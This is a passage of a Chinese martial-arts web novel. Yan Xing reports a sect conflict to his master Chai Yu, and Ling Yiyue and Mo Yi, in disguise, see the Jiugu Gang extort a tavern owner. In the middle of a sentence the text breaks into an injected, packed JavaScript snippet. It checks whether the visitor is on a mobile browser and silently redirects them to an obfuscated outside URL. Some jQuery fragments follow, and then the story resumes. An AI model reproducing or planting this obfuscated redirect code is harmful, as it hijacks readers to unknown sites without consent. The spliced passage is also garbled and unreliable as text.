邯郸.玉棠门。
从那日在丽江城围堵凌逸月和雪衣失败后,燕荇就带着一众弟子日夜兼程赶回了邯郸。
当然,他也没忘记带上关路一起。
之前听关路所言雀鸟阁被毁一事十分蹊跷,他不好下定论,师父见多识广,兴许会有判断。
玉棠门坐落于邯郸城北城门外,这里曾经是杀手组织梅庄的大本营。
自从二十年前梅庄覆灭后,玉棠门渐渐发展壮大,成了邯郸城中最大的门派。
在掌门柴郁的领导下,玉棠门在江湖的地位与日俱增,如今已是江湖排在前三的大派了。
玉棠门内,柴郁坐在正厅,他身旁的桌上放着一封书信,已是拆开看过的。
正厅内站了不少门中弟子,都怯懦地靠在一边。
柴郁闭着眼睛,从面上看不出他此时的心情,是喜是怒。
直到有弟子来报:“掌门,燕师兄回来了。”
柴郁闻言只是睁开眼,身子并未移动,仍旧端坐在桌前。
燕荇带着关路和一众弟子进到大厅内,到了柴郁跟前,恭敬拜道:“师父。”
柴郁冷哼了声,应道:“我都听说了,想不到还是低估了影组织的本事。”
他早该知道能在二十年前,凭一己之力使梅庄从此销声匿迹,影组织定不是善茬。
“柴掌门。”关路拜道,柴郁好像才看见燕荇身旁站着的关路,有些疑惑地看向燕荇:“这位是?”
“师父,他是雀鸟阁阁主南宫阙的大弟子关路。”
听了燕荇的话,柴郁皱了皱眉,“雀鸟阁?”
不等他再问,关路就道:“我师父被望月楼的人给害死了,求柴掌门替我做主啊。”
柴郁闻言一惊:“望月楼?!”
他看向燕荇:“这又是怎么回事?”
燕荇将在江夏城见到的、听到的都详叙了一遍,牵扯到雀鸟阁中细节的,关路从旁补充。
听了他们说的,柴郁懵了:“望月楼不是对墨家之事不感兴趣吗?”
他自认为了解望月楼,自从望月楼出现在江湖之上,他们对江湖中事就无甚兴趣。
他们一向都是置身事外,只管买卖消息而已。
如今听燕荇和关路所说,那抢夺墨家手札的蒙面女,兴许和望月楼有关,这让人很难不疑惑。
“弟子也是如此想,若望月楼当真对墨家口诀和墨家手札有兴趣,雪衣的消息他们大可以自己留着,不告诉别人。以他们的本领,暗中出动,抓到雪衣并非难事。”燕荇说道,“弟子正是有此不解,才会赶回邯郸城,向师父求教。”
柴郁闻言沉吟了片刻,看向关路:“关公子,当真看得清楚?”
关路:“千真万确。”
“既是如此,若下次关公子再见到他们,能一眼就认出来吗?”柴郁又问。
“能。”
“那好,这月十五晚上,你随我们一同去参加望月楼的聚会。”
听柴郁这么说,燕荇恍然大悟:“还是师父英明。”
望月楼往常不可见,只在每月十五月圆之夜才会出现。
既然他们现在并不确定,关路看见的人到底是不是望月楼的那几位高手,只能等到望月楼出现时,再带他前去认人了。
-
凌逸月和墨衣离开隐蔽的庙宇后,经过了几座城镇,到了金昌城附近。
这一次在进到金昌城之前,两人先易了容。
墨衣看着完全变了样子的自己,和身旁换了副模样的凌逸月,忍不住感叹:“早就听说影组织的易容术十分了得,今日一见果然名不虚传。”
凌逸月难得听见墨衣的夸赞,颇为得意地一挑眉:“那都是我的姑姑、伯伯教得好。”
他说罢,见墨衣眼中有一闪而过的失落,忙转移话题道:“一路上你原本都不曾易容,就是为了让他们发现,把对墨家口诀有兴趣的门派都引来,从他们当中找出当年灭城的真相。怎么到了金昌城前,反而突然要易容?”
“等进了城,你就知道了。”墨衣没有直接回答他的问题,反而是往金昌城的方向走去。
凌逸月赶忙跟在她身后,两人一前一后进了金昌城。
金昌城作为江湖上赫赫有名的美食之都,不同于他们经过的其他城镇,以美食和特色手工而闻名。
一踏进金昌城,最先映入眼帘的便是各色的小吃,一整条街上有一半都是卖小吃的店铺和摊位。
金昌还有一种极具特色的美酒,叫做“豆蔻酒”。
此酒香甜而不醉人,无论是在城中百姓中,还是在外来客中,都十分受欢迎。
凌逸月早就听说过这酒,一入城他便拉着墨衣去到了主街上最大的白玉酒馆里,点了两壶豆蔻酒。
刚买完豆蔻酒,两人还没来得及离开酒馆,在酒馆内就看见大街上走来一群人。
这些人穿着相同颜色的褐色衣衫,在袍带上都挂有“九”字标志,正是九顾帮的弟子。
走在一众弟子前面,个头最高,脸上带着一道刀疤,看起来凶神恶煞的那位,就是九顾帮的帮主蒋商陆。
城中的百姓似是很怕他们,在见到九顾帮出现后,不少人脸上的笑都僵住了,眼中掩饰不住的惊恐。
他们沿路而来,不时停在一些铺子和摊位前,没多久就到了白玉酒馆内。
一踏进酒馆,蒋商陆就直奔离门最近的桌子,他身旁的弟子颇有眼力劲儿地用袖子帮他扫干净了桌上的障碍,只听见桌上的酒壶、酒杯碎落在地的声音。
这桌原本有人,看见九顾帮的人进来后,连没喝完的酒都来不及带,径直放下银子就逃开了。
桌上的酒壶和酒杯已被九顾帮的弟子扫落在地,碎落的酒壶和酒杯内流出未喝完的酒,酒香浓郁,飘至在场众人的鼻间。
蒋商陆等弟子将桌子清理好后,一甩衣袍坐在了桌上。
一众弟子恭敬地守在他身旁。
“刘老板,上月的酒钱分成该交了吧。”蒋商陆一坐下就冷声道。
酒馆的老板将银两交给身旁的小二,示意他去交。
小二颤巍巍地靠近,到了蒋商陆跟前,双手捧着银子递上,恭敬道:“蒋大爷。”
蒋商陆眼皮连抬头没抬,一脚就把小二踹翻在地。
这店小二看起来不过十五六岁,身形娇小,哪里受得了他这突然的一脚。
好在凌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924690|177133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逸月及时往前移动了几步,顺手扶了他一把,他才不至于摔在地上。
不然若是头着地,就算不死也得重伤。
蒋商陆并不在意他的死活,反而冷冷问道:“刘老板、你也太没诚意了吧,这点儿钱怎么够交保护费?你打发叫花子呢?”
酒馆老板赶忙拿出一沓银票,到了蒋商陆跟前。
蒋商陆接过后数了数,脸上神情转怒为喜,他用银票拍拍酒馆老板的脸,“这次就算了,下次希望不要让我再说第二遍。”
“是。”酒馆老板连连应声。
蒋商陆这才起身,带着一众弟子出了酒馆,继续往前讨要“保护费”去了。
在他离开前,凌逸月注意到墨衣的目光一直盯着蒋商陆腰间的玉坠。
他看见他腰间的玉坠刻有一个“陆”字,蒋商陆的名字中有“陆”,挂着的玉坠上有他名字倒不奇怪。
奇怪的是墨衣的反应。
虽然墨衣已经极力克制自己的情绪,但凌逸月还是感觉到了她目光中的愤怒。
若说她是为刚才蒋商陆讨要保护费而愤怒,倒也说得过去。
只是她的目光一直死死盯着他的腰间,直到他走远,都未曾收回。
“多谢公子。”店小二的声音在耳边响起,凌逸月回过神来,忙摆手道:“我没帮你什么,不必谢我。”
他说罢从怀中掏出一个药罐,倒了一颗药丸出来递给店小二道:“这药对治内伤有奇效,以防万一,你还是吃一颗吧。”
“谢谢公子、谢谢公子。”店小二显然没有被人如此贴心对待过,眼中泛起泪花,他赶忙接过药丸吃下,不知道是心理作用还是什么,他吃过药丸后,原本感觉要散架的身体没一会儿就恢复了。
“刚才那些人是?”等蒋商陆他们都走远后,凌逸月才看向酒馆老板问道。
墨衣知道他是明知故问,也并没有阻拦他。
“是九顾帮的人。”酒馆老板回道。
“九顾帮?”凌逸月摸摸下巴,“我记得金昌城中最厉害的,难道不是紫藤山庄吗?”
“这位公子想是刚来金昌城不久吧?你有所不知,紫藤山庄近些年鲜少过问江湖世事,听说藤庄主正在闭关,还要许久才能出来。以前有藤庄主罩着城中百姓,日子过得倒还舒坦。自从近几年藤庄主闭关后,九顾帮就愈发肆无忌惮,蒋商陆带着一众弟子在城中讨要保护费,凡是不给的店铺,都被他们砸了,关门的关门,跑路的跑路。”
“要不是我这酒馆是祖上留下来的,我也不想在这金昌城待下去了。”老板越说越委屈,竟已带上了哭腔,“我一月的收入有八成都交给九顾帮了,这让我怎么维持下去啊。”
“老板,你先别难过,既然我们来了,就不会坐视不理。”凌逸月开口安慰道。
“你们?”老板打量了两人一番,他们看起来年纪不大,长相也是平平无奇,怎么看都不像是有什么厉害本事在身的样子。
“老板你可不能以貌取人啊。”凌逸月看出了他的心思笑道,“你且等着吧,用不了多久,我们就会让他把抢了你们的钱,全都吐出来。”
“啊、嗯、好。”老板见他目光坚定,半信半疑地应道。